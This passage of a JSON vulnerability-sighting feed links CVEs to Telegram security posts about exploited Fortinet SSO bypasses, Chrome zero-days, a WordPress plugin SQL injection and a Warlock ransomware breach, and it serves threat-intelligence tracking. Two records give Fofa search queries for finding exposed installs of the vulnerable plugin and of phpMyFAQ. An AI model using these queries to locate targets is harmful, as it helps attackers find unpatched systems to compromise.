SSO.\n\n\u0412\u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0438 Fortinet \u043f\u0440\u0438\u0437\u043d\u0430\u043b\u0430, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0435\u0435 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0434\u043c\u0438\u043d\u0441\u043a\u0438\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0434\u043b\u044f  \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0432\u043d\u0435\u0441\u0435\u043d\u0438\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0434\u043e\u0441\u0442\u0443\u043f \u043a VPN, \u0438 \u043a\u0440\u0430\u0436\u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0430.", "creation_timestamp": "2026-02-10T15:10:05.000000Z"}, {"uuid": "eb390088-eb08-4476-b138-b42edcabb2a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "exploited", "source": "https://t.me/kasperskyb2b/2079", "content": "\u2705 \u041f\u0440\u0430\u0432\u0438\u043b\u0430 SIEM \u0434\u043b\u044f \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0430\u0442\u0430\u043a \u043d\u0430 Fortinet\n\n\u0421 \u0434\u0435\u043a\u0430\u0431\u0440\u044f \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Fortinet \u0432\u0435\u0434\u0443\u0442\u0441\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0438 VPN-\u0430\u043a\u043a\u0430\u0443\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f \u0432 \u0441\u0435\u0442\u0438. \u0414\u0435\u043a\u0430\u0431\u0440\u044c\u0441\u043a\u0430\u044f \u0432\u043e\u043b\u043d\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430 CVE-2025-59718 \u0438 -59719 (CVSS 9.8), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443, \u0438\u043c\u0435\u044e\u0449\u0435\u043c\u0443 \u0443\u0447\u0451\u0442\u043a\u0443 \u0432 FortiCloud, \u0432\u043e\u0439\u0442\u0438 \u0432 \u0447\u0443\u0436\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u043d\u0430 \u0431\u0430\u0437\u0435 FortiOS/ FortiManager/ FortiAnalyzer/ FortiProxy/ FortiWeb, \u0435\u0441\u043b\u0438 \u0443 \u0446\u0435\u043b\u0438 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f SSO.\n\n\u0412 \u043a\u043e\u043d\u0446\u0435 \u044f\u043d\u0432\u0430\u0440\u044f \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u0432\u0442\u043e\u0440\u0430\u044f \u0432\u043e\u043b\u043d\u0430 \u0430\u0442\u0430\u043a \u2014 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043e\u0431\u043e\u0448\u043b\u0438 \u043f\u0430\u0442\u0447\u0438 \u0438 \u0432\u043e\u043e\u0440\u0443\u0436\u0438\u043b\u0438\u0441\u044c \u0437\u0438\u0440\u043e\u0434\u0435\u0435\u043c, \u0432\u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u043c \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2026-24858 (CVSS 9.4). \u0412 Fortinet \u0434\u0430\u0436\u0435 \u0432\u044b\u043d\u0443\u0436\u0434\u0435\u043d\u044b \u0431\u044b\u043b\u0438 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c FortiCloud SSO \u043d\u0430 \u043f\u0430\u0440\u0443 \u0434\u043d\u0435\u0439, \u043f\u043e\u043a\u0430 \u043e\u043d\u0438 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u043b\u0438\u0441\u044c, \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0438 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u043b\u0438 \u043d\u043e\u0432\u044b\u0435 \u043f\u0430\u0442\u0447\u0438. \n\n\u0425\u043e\u0442\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043d\u0430 \u0431\u0443\u043a\u0432\u0443 F \u0441 2022 \u0433\u043e\u0434\u0430 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0420\u0424 \u0432\u0441\u0451 \u0440\u0435\u0436\u0435, \u0432 \u0440\u044f\u0434\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0435\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 \u0441\u0442\u0440\u043e\u044e, \u0438\u00a0 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0447\u0435\u043d\u044c \u0432\u0430\u0436\u043d\u043e. \u041f\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 \u0442\u043e\u043f\u0435 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u043e\u0432 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445, \u0438 Fortinet \u0443 \u043d\u0438\u0445 \u043d\u0430 \u043e\u0441\u043e\u0431\u043e\u043c \u0441\u0447\u0435\u0442\u0443. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043f\u0430\u043a\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b FortiCloud SSO abuse package \u0434\u043b\u044f \u043d\u0430\u0448\u0435\u0439\u00a0 SIEM-\u0441\u0438\u0441\u0442\u0435\u043c\u044b KUMA, \u0441\u043e\u0441\u0442\u043e\u044f\u0449\u0438\u0439 \u0438\u0437 \u0442\u0440\u0451\u0445 \u0433\u0440\u0443\u043f\u043f:\n\n\ud83d\udd35IOCs \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0430\u0442\u0430\u043a;\n\ud83d\udd35\u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432;\n\ud83d\udd35\u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c.\n\n\u0412\u0441\u0435 \u0434\u0435\u0442\u0430\u043b\u0438 \u043f\u0440\u0430\u0432\u0438\u043b \u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u2014 \u0432 \u043f\u043e\u0441\u0442\u0435 \u0432 \u0431\u043b\u043e\u0433\u0435.\n\n#\u0441\u043e\u0432\u0435\u0442\u044b #\u0443\u0433\u0440\u043e\u0437\u044b #SIEM @\u041f2\u0422", "creation_timestamp": "2026-02-12T10:28:54.000000Z"}, {"uuid": "44e3e113-0f25-4fe7-b575-955fade6972d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "exploited", "source": "https://t.me/true_secator/7990", "content": "Google \u0430\u043d\u043e\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0434\u0432\u0443\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Chrome, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 0-day.\n\n\u041f\u0435\u0440\u0432\u0430\u044f (CVE-2026-3909) \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439\u00a0\u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0433\u043e \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u0430\u00a0\u0432 Skia, \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f 2D-\u0433\u0440\u0430\u0444\u0438\u043a\u0438, \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0435\u0439 \u0437\u0430 \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u043d\u0433 \u0432\u0435\u0431-\u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0430 \u0438 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u0434\u043b\u044f \u0432\u044b\u0437\u043e\u0432\u0430 \u0441\u0431\u043e\u044f \u0432\u0435\u0431-\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0438\u043b\u0438 \u0434\u0430\u0436\u0435 \u0434\u043b\u044f RCE.\n\n\u0412\u0442\u043e\u0440\u0430\u044f, CVE-2026-3910, \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript \u0438 WebAssembly V8.\n\nGoogle \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0438\u0445 \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u0434\u0432\u0443\u0445 \u0434\u043d\u0435\u0439. \u041d\u043e\u0432\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c Windows (146.0.7680.75), macOS (146.0.7680.76) \u0438 Linux (146.0.7680.75).\n\n\u0422\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0441\u043b\u0435\u0434\u043e\u0432 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u0432\u0443\u0445 0-day, \u043d\u043e \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043d\u0435 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432.\n\n\u0421 \u043d\u0430\u0447\u0430\u043b\u0430 \u0433\u043e\u0434\u0430 \u044d\u0442\u043e \u0443\u0436\u0435 \u0432\u0442\u043e\u0440\u0430\u044f \u0438 \u0442\u0440\u0435\u0442\u044c\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 0-day \u0432 Chrome. \u041f\u0435\u0440\u0432\u0430\u044f, CVE-2026-2441 \u0432 CSSFontFeatureValuesMap (\u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0438\u0441\u0442\u0438\u043a \u0448\u0440\u0438\u0444\u0442\u043e\u0432 CSS \u0432 Chrome),\u00a0\u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 \u0444\u0435\u0432\u0440\u0430\u043b\u044f.\n\n\u0415\u0441\u043b\u0438 \u0434\u0438\u043d\u0430\u043c\u0438\u043a\u0430 \u043d\u0443\u043b\u0435\u0439 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c\u0441\u044f, \u0442\u043e \u0443 Google \u0431\u0443\u0434\u0443\u0442 \u0432\u0441\u0435 \u0448\u0430\u043d\u0441\u044b \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u0442\u044c \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0439 \u0433\u043e\u0434 \u0441 8 0-day, \u0430 \u043c\u043e\u0436\u0435\u0442 \u0438 \u0432\u043e\u0432\u0441\u0435 \u043f\u0435\u0440\u0435\u0432\u0430\u043b\u0438\u0442\u044c \u0437\u0430 \u044d\u0442\u0443 \u043f\u043b\u0430\u043d\u043a\u0443. \u041d\u043e \u0431\u0443\u0434\u0435\u043c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2026-03-13T09:40:15.000000Z"}, {"uuid": "dc018786-caf7-4dee-8a86-fad74fd4de3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2413", "type": "seen", "source": "https://t.me/CyberSecurityIL/82474", "content": "\ud83c\udf0e\u05db\u05de\u05d4 \u05d0\u05d9\u05e8\u05d5\u05e2\u05d9 \u05e1\u05d9\u05d9\u05d1\u05e8 \u05de\u05e1\u05d1\u05d9\u05d1 \u05dc\u05e2\u05d5\u05dc\u05dd:\n\n- \u05d7\u05d1\u05e8\u05ea Telus Digital \u05de\u05d3\u05d5\u05d5\u05d7\u05ea \u05e2\u05dc \u05d3\u05dc\u05e3 \u05de\u05d9\u05d3\u05e2 \u05dc\u05d0\u05d7\u05e8 \u05de\u05ea\u05e7\u05e4\u05ea \u05db\u05d5\u05e4\u05e8 \u05e9\u05d1\u05d5\u05e6\u05e2\u05d4 \u05e2\"\u05d9 \u05e7\u05d1\u05d5\u05e6\u05ea ShinyHunters. \u05d4\u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05d8\u05e2\u05e0\u05d5 \u05db\u05d9 \u05d4\u05dd \u05d2\u05e0\u05d1\u05d5 1 petabyte \u05e9\u05dc \u05de\u05d9\u05d3\u05e2 (!) \u05d5\u05d3\u05e8\u05e9\u05d5 65 \u05de\u05d9\u05dc\u05d9\u05d5\u05df \u05d3\u05d5\u05dc\u05e8 \u05d3\u05de\u05d9 \u05db\u05d5\u05e4\u05e8 \u05d0\u05da \u05d4\u05d7\u05d1\u05e8\u05d4 \u05d4\u05ea\u05e2\u05dc\u05de\u05d4 \u05de\u05d4\u05d0\u05d9\u05d5\u05de\u05d9\u05dd \u05e9\u05dc\u05d4\u05dd. \n\n- \u05d7\u05d5\u05dc\u05e9\u05d4 SQLi \u05d1\u05ea\u05d5\u05e1\u05e3 \u05d4\u05d5\u05d5\u05e8\u05d3\u05e4\u05e8\u05e1 Ally \u05e9\u05dc \u05d7\u05d1\u05e8\u05ea \u05d0\u05dc\u05de\u05e0\u05d8\u05d5\u05e8 (\u05d4\u05d9\u05e9\u05e8\u05d0\u05dc\u05d9\u05ea) \u05de\u05e9\u05e4\u05d9\u05e2\u05d4 \u05e2\u05dc \u05db-250,000 \u05d0\u05ea\u05e8\u05d9\u05dd. \u05d4\u05d7\u05d5\u05dc\u05e9\u05d4, CVE-2026-2413 (\u05e8\u05de\u05ea \u05e1\u05d9\u05db\u05d5\u05df \u05d2\u05d1\u05d5\u05d4\u05d4), \u05de\u05d0\u05e4\u05e9\u05e8\u05ea \u05d2\u05e0\u05d9\u05d1\u05ea \u05de\u05d9\u05d3\u05e2 \u05dc\u05dc\u05d0 \u05d4\u05d6\u05d3\u05d4\u05d5\u05ea. \n\u05d4\u05d7\u05d5\u05dc\u05e9\u05d4 \u05ea\u05d5\u05e7\u05e0\u05d4 \u05d1\u05d2\u05e8\u05e1\u05d4 4.1.0 \u05d5\u05d4\u05d7\u05d5\u05e7\u05e8 \u05ea\u05d5\u05d2\u05de\u05dc \u05d1-800$.\n\n- \u05d2\u05d5\u05d2\u05dc \u05de\u05d3\u05d5\u05d5\u05d7\u05ea \u05db\u05d9 \u05d1\u05e9\u05e0\u05ea 2025 \u05d4\u05d9\u05d0 \u05e9\u05d9\u05dc\u05de\u05d4 \u05dc\u05d7\u05d5\u05e7\u05e8\u05d9\u05dd \u05d1\u05d0\u05d5\u05e0\u05d8\u05d9 \u05de\u05e6\u05d8\u05d1\u05e8 \u05e9\u05dc 17 \u05de\u05d9\u05dc\u05d9\u05d5\u05df \u05d3\u05d5\u05dc\u05e8.\n\n- \u05d7\u05d1\u05e8\u05ea England Hockey \u05de\u05d3\u05d5\u05d5\u05d7\u05ea \u05db\u05d9 \u05d4\u05d9\u05d0 \u05d7\u05d5\u05e7\u05e8\u05d9 \u05d7\u05e9\u05d3 \u05dc\u05d0\u05d9\u05e8\u05d5\u05e2 \u05e1\u05d9\u05d9\u05d1\u05e8 \u05dc\u05d0\u05d7\u05e8 \u05e9\u05e4\u05d5\u05e8\u05e1\u05de\u05d4 \u05db\u05e7\u05e8\u05d1\u05df \u05e2\"\u05d9 \u05e7\u05d1\u05d5\u05e6\u05ea AiLock.\n\n- \u05e7\u05d1\u05d5\u05e6\u05ea \u05ea\u05e7\u05d9\u05e4\u05d4 \u05d4\u05de\u05e9\u05d5\u05d9\u05d9\u05db\u05ea \u05dc\u05d0\u05d9\u05e8\u05d0\u05df \u05d8\u05d5\u05e2\u05e0\u05ea \u05db\u05d9 \u05e4\u05e8\u05e6\u05d4 \u05dc\u05e4\u05e8\u05dc\u05de\u05e0\u05d8 \u05d1\u05d0\u05dc\u05d1\u05e0\u05d9\u05d4, \u05d4\u05e7\u05d1\u05d5\u05e6\u05d4 \u05de\u05e4\u05e8\u05e1\u05de\u05ea \u05de\u05e1\u05de\u05db\u05d9\u05dd \u05de\u05d9\u05d9\u05dc\u05d9\u05dd \u05d4\u05de\u05e2\u05d9\u05d3\u05d9\u05dd \u05dc\u05db\u05d0\u05d5\u05e8\u05d4 \u05e2\u05dc \u05d4\u05e4\u05e8\u05d9\u05e6\u05d4.\n\nhttps://t.me/CyberSecurityIL/8611", "creation_timestamp": "2026-03-12T21:22:23.000000Z"}, {"uuid": "21f1f9ca-8c87-4ebc-8467-bc232a9571a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2413", "type": "published-proof-of-concept", "source": "https://t.me/realcodeb0ss/374", "content": "https://nvd.nist.gov/vuln/detail/CVE-2026-2413\n\nActive/Current installations on Wordpress [400,000+ / 400K+]\n\n\nActive/Current records on Fofa [237,189+ / 200K+]\n\n\nFofa : body=\"wp-content/plugins/pojo-accessibility/\" or body=\"wp-content/plugins/pojo-accessibility/\" && header=\"text/html\"\n\nEnjoy;", "creation_timestamp": "2026-03-14T14:40:52.000000Z"}, {"uuid": "5f1a770c-1fe7-4549-bb44-1d2810491791", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24422", "type": "published-proof-of-concept", "source": "https://t.me/realcodeb0ss/302", "content": "https://nvd.nist.gov/vuln/detail/CVE-2026-24422\n\nFofa : \"phpmyfaq\" or title=\"phpmyfaq\" or app=\"phpmyfaq\"", "creation_timestamp": "2026-02-02T00:03:22.000000Z"}, {"uuid": "a47933e7-01ea-4d5a-b072-2830b2963fb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "exploited", "source": "https://t.me/true_secator/7889", "content": "SmarterTools, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 SmarterMail, \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0441\u044f \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u043e\u0439 \u0430\u0442\u0430\u043a\u0435 \u0432 \u0432\u0438\u0434\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435. \u0418\u043d\u0446\u0438\u0434\u0435\u043d\u0442 \u043f\u0440\u0438\u043a\u043b\u044e\u0447\u0438\u043b\u0441\u044f \u0432 \u043a\u043e\u043d\u0446\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u043c\u0435\u0441\u044f\u0446\u0430, 29 \u044f\u043d\u0432\u0430\u0440\u044f.\n\n\u041e\u0440\u0443\u0434\u043e\u0432\u0430\u043b\u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b Warlock, \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c 30 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u0432 \u043e\u0444\u0438\u0441\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438 \u0426\u041e\u0414\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u043c \u0434\u043b\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430.\n\n\u0413\u0440\u0443\u043f\u043f\u0430 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0447\u0435\u043d\u044c \u043f\u0440\u043e\u0434\u0432\u0438\u043d\u0443\u0442\u044b\u043c \u0438 \u043e\u043f\u044b\u0442\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a Gold Salem (Sophos) \u0438 Storm-2603 (Microsoft). \u0421\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u0438\u0437 \u041a\u0438\u0442\u0430\u044f, \u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c Warlock \u043d\u0430\u0447\u0430\u043b\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u044c \u0432 \u0441\u0432\u043e\u0438\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u0432 \u043c\u0430\u0440\u0442\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430.\n\n\u041e\u043d\u0438 \u0436\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0434\u043d\u0438\u043c\u0438 \u0438\u0437 \u043f\u0435\u0440\u0432\u044b\u0445, \u043a\u0442\u043e \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u043b\u0441\u044f \u043d\u0430 ToolShell\u00a0\u0432 \u0440\u0430\u043c\u043a\u0430\u0445 0-day \u0430\u0442\u0430\u043a \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u044b SharePoint \u0432 \u0438\u044e\u043b\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Fortinet, TTPs \u0433\u0440\u0443\u043f\u043f\u044b \u0441\u043e\u0447\u0435\u0442\u0430\u044e\u0442 \u0432 \u0441\u0435\u0431\u0435 